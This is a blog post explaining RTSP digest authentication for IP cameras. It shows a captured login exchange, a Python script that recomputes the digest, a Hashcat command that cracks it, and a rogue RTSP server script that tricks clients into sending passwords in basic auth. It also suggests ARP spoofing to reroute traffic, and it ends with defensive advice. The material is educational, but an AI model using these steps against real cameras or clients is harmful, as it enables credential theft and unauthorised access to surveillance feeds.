RTSP protocol auth was influenced by HTTP auth and/or by SIP auth (see RFC3261).
Please first read about HTTP auth: 1, 2, 3.
RTSP with basic auth is insecure (unless happens via SSL/TLS), login and password are encoded by base64, as in HTTP basic auth.
Now the (digest) exchange I recorded with wireshark. The camera was working at the URL: rtsp://192.168.1.118:554. The login:password is admin:Admin12345.
Client to camera:
OPTIONS rtsp://192.168.1.118:554 RTSP/1.0 CSeq: 1 User-Agent: Lavf61.7.100
Camera to client:
RTSP/1.0 200 OK CSeq: 1 Public: OPTIONS, DESCRIBE, PLAY, PAUSE, SETUP, TEARDOWN, SET_PARAMETER, GET_PARAMETER Date: Fri, Nov 21 2025 11:34:44 GMT
Client to camera:
DESCRIBE rtsp://192.168.1.118:554 RTSP/1.0 Accept: application/sdp CSeq: 2 User-Agent: Lavf61.7.100
Camera to client:
RTSP/1.0 401 Unauthorized CSeq: 2 WWW-Authenticate: Digest realm="IP Camera(G6822)", nonce="3d2a9ee3abcdf64a398ea4fc66a6ec2c", stale="FALSE" Date: Fri, Nov 21 2025 11:34:44 GMT
Client to camera:
DESCRIBE rtsp://192.168.1.118:554 RTSP/1.0 Accept: application/sdp CSeq: 3 User-Agent: Lavf61.7.100 Authorization: Digest username="admin", realm="IP Camera(G6822)", nonce="3d2a9ee3abcdf64a398ea4fc66a6ec2c", uri="rtsp://192.168.1.118:554", response="a7d182d67c89c0956a356143d3b3bc94"
Camera to client (and the stream begin):
RTSP/1.0 200 OK CSeq: 3 Content-Type: application/sdp Content-Base: rtsp://192.168.1.118:554/ Content-Length: 716 v=0 o=- 1763724884211513 1763724884211513 IN IP4 192.168.1.118 s=Media Presentation e=NONE b=AS:5100 t=0 0 a=control:rtsp://192.168.1.118:554/ m=video 0 RTP/AVP 96 ...
Using (maybe) ARP spoof, you can reroute client's requests to your (rogue) host and record all that data.
This is how response is calculated by both client and server:
#!/usr/bin/env python3
import hashlib, sys
def my_md5(msg):
return hashlib.md5(msg.encode('utf-8')).hexdigest()
username="admin"
password="Admin12345"
realm="IP Camera(G6822)"
nonce="3d2a9ee3abcdf64a398ea4fc66a6ec2c"
uri="rtsp://192.168.1.118:554"
HA2=my_md5("DESCRIBE:"+uri)
HA1=my_md5(username+":"+realm+":"+password)
RESPONSE=my_md5(HA1+":"+nonce+":"+HA2)
print (RESPONSE)
It correctly calculates response:
a7d182d67c89c0956a356143d3b3bc94
Using this Python code, you can enumerate passwords and wait until you'll get correct response you've seen in exchange. But of course, this is slow.
The string for Hashcat (mode 11400):
$sip$***user*realm*DESCRIBE**uri**nonce****MD5*response
In our case this is:
$sip$***admin*IP Camera(G6822)*DESCRIBE**rtsp://192.168.1.118:554**3d2a9ee3abcdf64a398ea4fc66a6ec2c****MD5*a7d182d67c89c0956a356143d3b3bc94
Save this to hash.txt and run Hashcat:
hashcat -m 11400 -a 3 hash.txt -w 3 "?u?l?l?l?l?d?d?d?d?d"
Since I 'helped' Hashcat with mask I knew beforehand, it cracked the password quickly:
... $sip$***admin*IP Camera(G6822)*DESCRIBE**rtsp://192.168.1.118:554**3d2a9ee3abcdf64a398ea4fc66a6ec2c****MD5*a7d182d67c89c0956a356143d3b3bc94:Admin12345 Session..........: hashcat Status...........: Cracked Hash.Mode........: 11400 (SIP digest authentication (MD5)) Hash.Target......: $sip$***admin*IP Camera(G6822)*DESCRIBE**rtsp://192...b3bc94 Time.Started.....: Mon Nov 24 14:00:16 2025 (1 sec) Time.Estimated...: Mon Nov 24 14:00:17 2025 (0 secs) Kernel.Feature...: Pure Kernel Guess.Mask.......: ?u?l?l?l?l?d?d?d?d?d [10] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 88831.4 kH/s (61.94ms) @ Accel:1024 Loops:512 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 81788928/1188137600000 (0.01%) Rejected.........: 0/81788928 (0.00%) Restore.Point....: 0/67600000 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:6144-6656 Iteration:0-512 Candidate.Engine.: Device Generator Candidates.#1....: Peber12345 -> Xkrgl71234 Hardware.Mon.#1..: Temp: 73c Util: 94% ...
You can set up rogue host and reroute all traffic to it. And client may try to login using basic auth if the server (fake camera) asking for basic auth.
#!/usr/bin/env python3
import socket, hexdump, sys, datetime
# Can be used as honeypot, to gather l/p's
HOST=''
PORT=554
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
while True:
s.listen(1)
conn, addr=s.accept()
with conn:
try:
print("Connected:", addr, datetime.datetime.today())
data=conn.recv(1024)
print ("Got:")
print (data)
#hexdump.hexdump(data)
conn.send(b"RTSP/1.0 401 Unauthorized\r\n")
conn.send(b"CSeq: 2\r\n")
#conn.send(b"WWW-Authenticate: Digest realm=\"testrealm\", nonce=\"000\"\r\n")
conn.send(b"WWW-Authenticate: Basic realm=\"testrealm\"\r\n")
conn.send(b"\r\n")
print ("401 msg sent")
data=conn.recv(1024)
print ("Got:")
#hexdump.hexdump(data)
print (data)
sys.stdout.flush()
except ConnectionResetError:
print ("ConnectionResetError")
except TimeoutError:
print ("TimeoutError")
conn.close()
The client, like ffplay or VLC may agree to login using basic auth:
% sudo ./rogue_RTSP_serv.py
Connected: ('127.0.0.1', 57646)
Got:
b'OPTIONS rtsp://localhost:554 RTSP/1.0\r\nCSeq: 1\r\nUser-Agent: Lavf61.1.100\r\n\r\n'
401 msg sent
Got:
b'OPTIONS rtsp://localhost:554 RTSP/1.0\r\nCSeq: 2\r\nUser-Agent: Lavf61.1.100\r\nAuthorization: Basic Zm9vOmJhcg==\r\n\r\n'
If a client is smart and/or secure, it will not allow basic auth and drop connection. Then, switch your rogue host to digest auth:
% sudo ./rogue_RTSP_serv.py
Connected: ('127.0.0.1', 46434)
Got:
b'OPTIONS rtsp://localhost:554 RTSP/1.0\r\nCSeq: 1\r\nUser-Agent: Lavf61.1.100\r\n\r\n'
401 msg sent
Got:
b'OPTIONS rtsp://localhost:554 RTSP/1.0\r\nCSeq: 2\r\nUser-Agent: Lavf61.1.100\r\nAuthorization: Digest username="foo", realm="testrealm", nonce="000", uri="rtsp://localhost:554", response="9aa60d853244409327c1dea89b93b247"\r\n\r\n'
And try Hashcat with this data.
As usual -- latest firmware updates, long and secure passwords. At least digest auth is to be set in CCTV camera and clients. SSL/TLS is very advised.
Usually, TLS cert is generated in camera during installation. Fetch it and use with your client(s). Don't be lazy -- this will thwart ARP spoof attackers. (Well, most of attackers, except highly motivated and sophisticated.)

Some time ago (before 24-Mar-2025) there was Disqus JS script for comments. I dropped it --- it was so motley, distracting, animated, with too much ads. I never liked it. Also, comments didn"t appeared correctly (Disqus was buggy). Also, my blog is too chamberlike --- not many people write comments here. So I decided to switch to the model I once had at least in 2020 --- send me your comments by email (don"t forget to include URL to this blog post) and I"ll copy&paste it here manually.
Let"s party like it"s ~1993-1996, in this ultimate, radical and uncompromisingly primitive pre-web1.0-style blog and website.